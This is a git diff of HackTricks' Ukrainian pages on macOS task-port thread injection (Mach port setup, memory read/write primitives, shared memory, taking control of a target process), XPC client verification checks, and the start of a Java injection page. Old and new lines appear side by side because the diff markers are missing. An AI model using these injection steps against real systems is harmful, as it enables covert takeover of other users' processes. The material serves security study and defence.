Для двостороннього зв'язку створюються два Mach-права отримання: одне в локальному, інше в віддаленому завданні. Подальше право на відправку для кожного порту передається відповідному завданню, що дозволяє обмін повідомленнями.
|
||||
Для двостороннього зв'язку створюються два права на отримання Mach: одне в локальній, а інше в віддаленій задачі. Потім право на відправлення для кожного порту передається до відповідної задачі, що дозволяє обмінюватися повідомленнями.
|
||||
|
||||
Зосереджуючись на локальному порті, право отримання утримується локальним завданням. Порт створюється за допомогою `mach_port_allocate()`. Викликано викликано встановлення права на відправку до цього порту в віддаленому потоці за допомогою `thread_set_special_port()`. Потім віддаленому потоці вказується викликати `mach_thread_self()` для отримання права на відправку.
|
||||
Зосереджуючись на локальному порту, право на отримання утримується локальною задачею. Порт створюється за допомогою `mach_port_allocate()`. Виклик полягає в передачі права на відправлення до цього порту в віддалену задачу.
|
||||
|
||||
Щодо віддаленого порту, процес суттєво обернений. Віддаленому потоку вказується створити Mach-порт через `mach_reply_port()` (оскільки `mach_port_allocate()` не підходить через механізм повернення). Після створення порту в віддаленому потоці викликається `mach_port_insert_right()`, щоб встановити право на відправку. Це право потім зберігається в ядрі за допомогою `thread_set_special_port()`. Назад у локальному завданні використовується `thread_get_special_port()` на віддаленому потоці для отримання права на відправку до нового виділеного Mach-порту в віддаленому завданні.
|
||||
Одна зі стратегій полягає в використанні `thread_set_special_port()`, щоб помістити право на відправлення до локального порту в `THREAD_KERNEL_PORT` віддаленого потоку. Потім віддаленому потоку вказується викликати `mach_thread_self()`, щоб отримати право на відправлення.
|
||||
|
||||
Завершення цих кроків призводить до створення Mach-портів, вкладаючи основу для двостороннього зв'язку.
|
||||
Для віддаленого порту процес в основному обернений. Віддаленому потоку вказується створити Mach порт за допомогою `mach_reply_port()` (оскільки `mach_port_allocate()` не підходить через свій механізм повернення). Після створення порту викликається `mach_port_insert_right()` в віддаленому потоці для встановлення права на відправлення. Це право потім зберігається в ядрі за допомогою `thread_set_special_port()`. Повертаючись до локальної задачі, використовується `thread_get_special_port()` на віддаленому потоці, щоб отримати право на відправлення до новоствореного Mach порту в віддаленій задачі.
|
||||
|
||||
## 3. Основні примітиви читання/запису пам'яті
|
||||
Завершення цих кроків призводить до створення Mach портів, закладаючи основу для двостороннього зв'язку.
|
||||
|
||||
У цьому розділі акцентується на використанні виконавчого примітиву для встановлення основних примітивів читання та запису пам'яті. Ці початкові кроки є важливими для отримання більшого контролю над віддаленим процесом, хоча примітиви на цьому етапі не будуть виконувати багато цілей. Незабаром вони будуть оновлені до більш розширених версій.
|
||||
## 3. Basic Memory Read/Write Primitives
|
||||
|
||||
### Читання та запис пам'яті за допомогою виконавчого примітива
|
||||
У цьому розділі увага зосереджена на використанні примітиву виконання для встановлення базових примітивів читання та запису пам'яті. Ці початкові кроки є вирішальними для отримання більшого контролю над віддаленим процесом, хоча примітиви на цьому етапі не будуть служити багатьом цілям. Незабаром вони будуть оновлені до більш просунутих версій.
|
||||
|
||||
Мета полягає в виконанні читання та запису пам'яті за допомогою конкретних функцій. Для читання пам'яті використовуються функції зі структурою, подібною наступній:
|
||||
### Memory Reading and Writing Using Execute Primitive
|
||||
|
||||
Мета полягає в тому, щоб виконати читання та запис пам'яті за допомогою специфічних функцій. Для читання пам'яті використовуються функції, що нагадують наступну структуру:
|
||||
```c
|
||||
uint64_t read_func(uint64_t *address) {
|
||||
return *address;
|
||||
|
@ -60,7 +63,7 @@ void write_func(uint64_t *address, uint64_t value) {
|
|||
*address = value;
|
||||
}
|
||||
```
|
||||
Ці функції відповідають заданим інструкціям збірки:
|
||||
Ці функції відповідають наведеним асемблерним інструкціям:
|
||||
```
|
||||
_read_func:
|
||||
ldr x0, [x0]
|
||||
|
@ -69,93 +72,110 @@ _write_func:
|
|||
str x1, [x0]
|
||||
ret
|
||||
```
|
||||
### Визначення підходящих функцій
|
||||
### Визначення Підходящих Функцій
|
||||
|
||||
Сканування загальних бібліотек виявило відповідні кандидати для цих операцій:
|
||||
|
||||
1. **Читання пам'яті:**
|
||||
Функція `property_getName()` з [бібліотеки об'єктно-орієнтованого програмування Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) визначена як підходяща функція для читання пам'яті. Нижче наведено опис функції:
|
||||
1. **Читання Пам'яті:**
|
||||
Функція `property_getName()` з [бібліотеки виконання Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) визначена як підходяща функція для читання пам'яті. Функція описана нижче:
|
||||
```c
|
||||
const char *property_getName(objc_property_t prop) {
|
||||
return prop->name;
|
||||
}
|
||||
```
|
||||
Ця функція ефективно діє, як `read_func`, повертаючи перше поле `objc_property_t`.
|
||||
Ця функція фактично діє як `read_func`, повертаючи перше поле `objc_property_t`.
|
||||
|
||||
2. **Запис у пам'ять:**
|
||||
Знаходження готової функції для запису в пам'ять є складнішим завданням. Однак функція `_xpc_int64_set_value()` з libxpc є відповідним кандидатом з наступним розкладом:
|
||||
2. **Запис пам'яті:**
|
||||
Знайти готову функцію для запису пам'яті складніше. Однак функція `_xpc_int64_set_value()` з libxpc є відповідним кандидатом з наступним дизасемблюванням:
|
||||
```c
|
||||
__xpc_int64_set_value:
|
||||
str x1, [x0, #0x18]
|
||||
ret
|
||||
```
|
||||
Для виконання запису 64-бітного значення за конкретною адресою, віддалений виклик структурований наступним чином:
|
||||
Щоб виконати 64-бітний запис за певною адресою, віддалений виклик структурований як:
|
||||
```c
|
||||
_xpc_int64_set_value(address - 0x18, value)
|
||||
```
|
||||
З цими примітивами встановлено, що сцена готова для створення спільної пам'яті, що є значним кроком у контролі над віддаленим процесом.
|
||||
З цими примітивами встановленими, сцена готова для створення спільної пам'яті, що є значним прогресом у контролі над віддаленим процесом.
|
||||
|
||||
## 4. Налаштування Спільної Пам'яті
|
||||
## 4. Налаштування спільної пам'яті
|
||||
|
||||
Мета полягає в установленні спільної пам'яті між локальними та віддаленими задачами, спрощуючи передачу даних та полегшуючи виклик функцій з кількома аргументами. Підхід передбачає використання `libxpc` та його об'єкту типу `OS_xpc_shmem`, який побудований на основі записів пам'яті Mach.
|
||||
Мета полягає в тому, щоб встановити спільну пам'ять між локальними та віддаленими завданнями, спрощуючи передачу даних і полегшуючи виклик функцій з кількома аргументами. Підхід передбачає використання `libxpc` та його об'єктного типу `OS_xpc_shmem`, який побудований на основі записів пам'яті Mach.
|
||||
|
||||
### Огляд Процесу:
|
||||
### Огляд процесу:
|
||||
|
||||
1. **Виділення Пам'яті**:
|
||||
- Виділіть пам'ять для обміну за допомогою `mach_vm_allocate()`.
|
||||
- Використовуйте `xpc_shmem_create()` для створення об'єкту `OS_xpc_shmem` для виділеної області пам'яті. Ця функція буде керувати створенням запису пам'яті Mach та зберігати право на відправку Mach на зміщенні `0x18` об'єкта `OS_xpc_shmem`.
|
||||
1. **Виділення пам'яті**:
|
||||
- Виділіть пам'ять для спільного використання за допомогою `mach_vm_allocate()`.
|
||||
- Використовуйте `xpc_shmem_create()` для створення об'єкта `OS_xpc_shmem` для виділеної області пам'яті. Ця функція керуватиме створенням запису пам'яті Mach і зберігатиме право на відправку Mach за зсувом `0x18` об'єкта `OS_xpc_shmem`.
|
||||
|
||||
2. **Створення Спільної Пам'яті в Віддаленому Процесі**:
|
||||
- Виділіть пам'ять для об'єкту `OS_xpc_shmem` в віддаленому процесі за допомогою віддаленого виклику до `malloc()`.
|
||||
- Скопіюйте вміст локального об'єкту `OS_xpc_shmem` в віддалений процес. Однак ця початкова копія матиме неправильні назви записів пам'яті Mach на зміщенні `0x18`.
|
||||
2. **Створення спільної пам'яті в віддаленому процесі**:
|
||||
- Виділіть пам'ять для об'єкта `OS_xpc_shmem` у віддаленому процесі за допомогою віддаленого виклику `malloc()`.
|
||||
- Скопіюйте вміст локального об'єкта `OS_xpc_shmem` до віддаленого процесу. Однак ця початкова копія матиме неправильні імена записів пам'яті Mach за зсувом `0x18`.
|
||||
|
||||
3. **Виправлення Запису Пам'яті Mach**:
|
||||
- Використовуйте метод `thread_set_special_port()` для вставки права на відправку для запису пам'яті Mach у віддалену задачу.
|
||||
- Виправте поле запису пам'яті Mach на зміщенні `0x18`, перезаписавши його ім'ям віддаленого запису пам'яті.
|
||||
3. **Виправлення запису пам'яті Mach**:
|
||||
- Використовуйте метод `thread_set_special_port()`, щоб вставити право на відправку для запису пам'яті Mach у віддалене завдання.
|
||||
- Виправте поле запису пам'яті Mach за зсувом `0x18`, перезаписавши його іменем запису віддаленої пам'яті.
|
||||
|
||||
4. **Завершення Налаштування Спільної Пам'яті**:
|
||||
4. **Завершення налаштування спільної пам'яті**:
|
||||
- Перевірте віддалений об'єкт `OS_xpc_shmem`.
|
||||
- Встановіть спільне відображення пам'яті за допомогою віддаленого виклику до `xpc_shmem_remote()`.
|
||||
- Встановіть відображення спільної пам'яті за допомогою віддаленого виклику `xpc_shmem_remote()`.
|
||||
|
||||
Дотримуючись цих кроків, спільна пам'ять між локальними та віддаленими задачами буде ефективно налаштована, що дозволить просту передачу даних та виконання функцій, які потребують кількох аргументів.
|
||||
Дотримуючись цих кроків, спільна пам'ять між локальними та віддаленими завданнями буде ефективно налаштована, що дозволить здійснювати прості передачі даних і виконувати функції, які потребують кількох аргументів.
|
||||
|
||||
## Додаткові Фрагменти Коду
|
||||
## Додаткові фрагменти коду
|
||||
|
||||
Для виділення пам'яті та створення об'єкту спільної пам'яті:
|
||||
Для виділення пам'яті та створення об'єкта спільної пам'яті:
|
||||
```c
|
||||
mach_vm_allocate();
|
||||
xpc_shmem_create();
|
||||
```
|
||||
Для створення та коригування об'єкта спільної пам'яті в віддаленому процесі:
|
||||
Для створення та виправлення об'єкта спільної пам'яті в віддаленому процесі:
|
||||
```c
|
||||
malloc(); // for allocating memory remotely
|
||||
thread_set_special_port(); // for inserting send right
|
||||
```
|
||||
## 5. Досягнення повного контролю
|
||||
Пам'ятайте, щоб правильно обробляти деталі Mach портів та імена записів пам'яті, щоб забезпечити правильну роботу налаштування спільної пам'яті.
|
||||
|
||||
Після успішного встановлення спільної пам'яті та отримання можливостей довільного виконання ми фактично отримали повний контроль над цільовим процесом. Основні функціональні можливості, що забезпечують цей контроль, включають:
|
||||
## 5. Досягнення Повного Контролю
|
||||
|
||||
1. **Довільні операції з пам'яттю**:
|
||||
- Виконання довільних читань пам'яті, викликаючи `memcpy()` для копіювання даних зі спільної області.
|
||||
- Виконання довільних записів у пам'ять, використовуючи `memcpy()` для передачі даних у спільну область.
|
||||
Після успішного встановлення спільної пам'яті та отримання можливостей довільного виконання, ми фактично отримали повний контроль над цільовим процесом. Ключові функціональні можливості, що забезпечують цей контроль, це:
|
||||
|
||||
2. **Обробка викликів функцій з кількома аргументами**:
|
||||
- Для функцій, які потребують більше 8 аргументів, розмістіть додаткові аргументи на стеку відповідно до конвенції виклику.
|
||||
1. **Довільні Операції з Пам'яттю**:
|
||||
- Виконувати довільні читання пам'яті, викликаючи `memcpy()`, щоб копіювати дані з спільної області.
|
||||
- Виконувати довільні записи пам'яті, використовуючи `memcpy()`, щоб передавати дані до спільної області.
|
||||
|
||||
3. **Передача портів Mach**:
|
||||
- Передача портів Mach між завданнями через повідомлення Mach через раніше встановлені порти.
|
||||
2. **Обробка Викликів Функцій з Багатьма Аргументами**:
|
||||
- Для функцій, які вимагають більше 8 аргументів, розмістіть додаткові аргументи на стеку відповідно до конвенції виклику.
|
||||
|
||||
4. **Передача дескрипторів файлів**:
|
||||
- Передача дескрипторів файлів між процесами за допомогою файлових портів, техніка, виділена Іаном Біром у `triple_fetch`.
|
||||
3. **Передача Mach Портів**:
|
||||
- Передача Mach портів між задачами через Mach повідомлення за допомогою раніше встановлених портів.
|
||||
|
||||
Цей всебічний контроль увібрався в бібліотеку [threadexec](https://github.com/bazad/threadexec), яка надає детальну реалізацію та зручний API для взаємодії з цільовим процесом.
|
||||
4. **Передача Файлових Дескрипторів**:
|
||||
- Передача файлових дескрипторів між процесами за допомогою fileports, техніки, яку підкреслив Іан Бір у `triple_fetch`.
|
||||
|
||||
## Важливі розгляди:
|
||||
Цей всебічний контроль закріплений у бібліотеці [threadexec](https://github.com/bazad/threadexec), що надає детальну реалізацію та зручний API для взаємодії з жертвою процесом.
|
||||
|
||||
- Переконайтеся в правильному використанні `memcpy()` для операцій читання/запису в пам'ять для збереження стабільності системи та цілісності даних.
|
||||
- При передачі портів Mach або дескрипторів файлів дотримуйтесь належних протоколів та відповідально керуйте ресурсами, щоб уникнути витоків або ненавмисного доступу.
|
||||
## Важливі Міркування:
|
||||
|
||||
Дотримуючись цих вказівок та використовуючи бібліотеку `threadexec`, можна ефективно керувати та взаємодіяти з процесами на дуже детальному рівні, досягаючи повного контролю над цільовим процесом.
|
||||
- Забезпечте правильне використання `memcpy()` для операцій читання/запису пам'яті, щоб підтримувати стабільність системи та цілісність даних.
|
||||
- При передачі Mach портів або файлових дескрипторів дотримуйтесь належних протоколів і відповідально обробляйте ресурси, щоб запобігти витокам або ненавмисному доступу.
|
||||
|
||||
Дотримуючись цих рекомендацій та використовуючи бібліотеку `threadexec`, можна ефективно керувати та взаємодіяти з процесами на детальному рівні, досягаючи повного контролю над цільовим процесом.
|
||||
|
||||
## Посилання
|
||||
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,61 @@
|
|||
# Перевірка процесу підключення XPC macOS
|
||||
# macOS XPC Connecting Process Check
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Перевірка процесу підключення XPC
|
||||
## XPC Connecting Process Check
|
||||
|
||||
Коли встановлюється з'єднання з XPC-сервісом, сервер перевіряє, чи дозволено це з'єднання. Ось перевірки, які зазвичай виконуються:
|
||||
Коли встановлюється з'єднання з XPC-сервісом, сервер перевіряє, чи дозволено це з'єднання. Це перевірки, які зазвичай виконуються:
|
||||
|
||||
1. Перевірка, чи підключений **процес підписаний Apple-підписом** (наданим лише Apple).
|
||||
* Якщо це **не підтверджено**, зловмисник може створити **фальшивий сертифікат**, щоб відповідати будь-якій іншій перевірці.
|
||||
2. Перевірка, чи підключений процес підписаний **сертифікатом організації** (перевірка ідентифікатора команди).
|
||||
* Якщо це **не підтверджено**, можна використовувати **будь-який сертифікат розробника** від Apple для підпису та підключення до сервісу.
|
||||
3. Перевірка, чи підключений процес містить **правильний ідентифікатор пакета**.
|
||||
* Якщо це **не підтверджено**, будь-який інструмент, **підписаний тією ж організацією**, може бути використаний для взаємодії з XPC-сервісом.
|
||||
4. (4 або 5) Перевірка, чи у підключеному процесі є **правильний номер версії програмного забезпечення**.
|
||||
* Якщо це **не підтверджено**, можна використовувати старі, небезпечні клієнти, вразливі до впровадження процесу, для підключення до XPC-сервісу навіть за умови інших перевірок.
|
||||
5. (4 або 5) Перевірка, чи у підключеному процесі є зміцнений час виконання без небезпечних дозволів (таких, як ті, що дозволяють завантажувати довільні бібліотеки або використовувати змінні середовища DYLD)
|
||||
1. Якщо це **не підтверджено**, клієнт може бути **вразливим до впровадження коду**
|
||||
6. Перевірка, чи у підключеному процесі є **дозвіл**, що дозволяє йому підключатися до сервісу. Це застосовується до бінарних файлів Apple.
|
||||
7. **Перевірка** повинна бути **заснована** на **аудиторському токені підключення клієнта** **замість** його **ідентифікатора процесу (PID)**, оскільки перше запобігає **атакам повторного використання PID**.
|
||||
* Розробники **рідко використовують виклик API аудиторського токена**, оскільки він є **приватним**, тому Apple може **змінити** його в будь-який момент. Крім того, використання приватного API не дозволяється в додатках Mac App Store.
|
||||
* Якщо використовується метод **`processIdentifier`**, це може бути вразливим
|
||||
* Слід використовувати **`xpc_dictionary_get_audit_token`** замість **`xpc_connection_get_audit_token`**, оскільки останнє також може бути [вразливим у певних ситуаціях](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
1. Перевірте, чи підписаний **процес, що підключається, сертифікатом, підписаним Apple** (видається лише Apple).
|
||||
* Якщо це **не перевірено**, зловмисник може створити **підроблений сертифікат**, щоб відповідати будь-якій іншій перевірці.
|
||||
2. Перевірте, чи підписаний процес, що підключається, **сертифікатом організації** (перевірка ID команди).
|
||||
* Якщо це **не перевірено**, **будь-який сертифікат розробника** від Apple може бути використаний для підпису та підключення до сервісу.
|
||||
3. Перевірте, чи **містить процес, що підключається, правильний ідентифікатор пакета**.
|
||||
* Якщо це **не перевірено**, будь-який інструмент, **підписаний тією ж організацією**, може бути використаний для взаємодії з XPC-сервісом.
|
||||
4. (4 або 5) Перевірте, чи має процес, що підключається, **правильний номер версії програмного забезпечення**.
|
||||
* Якщо це **не перевірено**, старі, ненадійні клієнти, вразливі до ін'єкцій процесів, можуть бути використані для підключення до XPC-сервісу, навіть якщо інші перевірки виконані.
|
||||
5. (4 або 5) Перевірте, чи має процес, що підключається, **захищений час виконання без небезпечних прав** (як ті, що дозволяють завантажувати довільні бібліотеки або використовувати змінні середовища DYLD).
|
||||
1. Якщо це **не перевірено**, клієнт може бути **вразливим до ін'єкцій коду**.
|
||||
6. Перевірте, чи має процес, що підключається, **право**, яке дозволяє йому підключатися до сервісу. Це стосується бінарних файлів Apple.
|
||||
7. **Перевірка** повинна бути **базована** на **аудиторному токені клієнта**, **а не** на його ідентифікаторі процесу (**PID**), оскільки перше запобігає **атакам повторного використання PID**.
|
||||
* Розробники **рідко використовують API виклик аудиторного токена**, оскільки він **приватний**, тому Apple може **змінити** його в будь-який момент. Крім того, використання приватних API не дозволено в додатках Mac App Store.
|
||||
* Якщо використовується метод **`processIdentifier`**, він може бути вразливим.
|
||||
* **`xpc_dictionary_get_audit_token`** слід використовувати замість **`xpc_connection_get_audit_token`**, оскільки останній також може бути [вразливим у певних ситуаціях](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
### Атаки на комунікацію
|
||||
### Communication Attacks
|
||||
|
||||
Для отримання додаткової інформації про перевірку атаки повторного використання PID див.:
|
||||
Для отримання додаткової інформації про атаку повторного використання PID перевірте:
|
||||
|
||||
{% content-ref url="macos-pid-reuse.md" %}
|
||||
[macos-pid-reuse.md](macos-pid-reuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Для отримання додаткової інформації про атаку **`xpc_connection_get_audit_token`** див.:
|
||||
Для отримання додаткової інформації про атаку **`xpc_connection_get_audit_token`** перевірте:
|
||||
|
||||
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
||||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trustcache - Запобігання атакам на зниження рівня
|
||||
### Trustcache - Downgrade Attacks Prevention
|
||||
|
||||
Trustcache - це захисний метод, введений на машинах Apple Silicon, який зберігає базу даних CDHSAH бінарних файлів Apple, щоб можна було виконувати лише дозволені незмінені бінарні файли. Це запобігає виконанню версій зниження.
|
||||
Trustcache - це захисний метод, введений в машинах Apple Silicon, який зберігає базу даних CDHSAH бінарних файлів Apple, щоб лише дозволені, не модифіковані бінарні файли могли виконуватися. Це запобігає виконанню версій зниженого рівня.
|
||||
|
||||
### Приклади коду
|
||||
### Code Examples
|
||||
|
||||
Сервер реалізує цю **перевірку** у функції з назвою **`shouldAcceptNewConnection`**.
|
||||
Сервер реалізує цю **перевірку** в функції, яка називається **`shouldAcceptNewConnection`**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -63,9 +64,13 @@ Trustcache - це захисний метод, введений на машин
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
Об'єкт NSXPCConnection має **приватну** властивість **`auditToken`** (та, яка повинна бути використана, але може змінитися) та **публічну** властивість **`processIdentifier`** (та, яка не повинна використовуватися).
|
||||
{% endcode %}
|
||||
|
||||
Підключений процес можна перевірити за допомогою чогось на зразок:
|
||||
Об'єкт NSXPCConnection має **приватну** властивість **`auditToken`** (ту, що повинна використовуватися, але може змінитися) та **публічну** властивість **`processIdentifier`** (ту, що не повинна використовуватися).
|
||||
|
||||
Процес, що підключається, можна перевірити за допомогою чогось на зразок:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
SecRequirementRef requirementRef = NULL;
|
||||
|
@ -87,7 +92,9 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Якщо розробник не хоче перевіряти версію клієнта, він може перевірити, що клієнт принаймні не вразливий на впровадження процесу:
|
||||
Якщо розробник не хоче перевіряти версію клієнта, він може принаймні перевірити, що клієнт не вразливий до ін'єкції процесів:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
CFDictionaryRef csInfo = NULL;
|
||||
|
@ -104,16 +111,17 @@ return Yes; // Accept connection
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Внедрення Java-додатків macOS
|
||||
# macOS Java Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Перелік
|
||||
## Enumeration
|
||||
|
||||
Знайдіть встановлені Java-додатки у вашій системі. Було помічено, що Java-додатки в **Info.plist** будуть містити деякі параметри Java, які містять рядок **`java.`**, тому ви можете шукати це:
|
||||
Знайдіть Java-додатки, встановлені у вашій системі. Було помічено, що Java-додатки в **Info.plist** міститимуть деякі параметри java, які містять рядок **`java.`**, тому ви можете шукати це:
|
||||
```bash
|
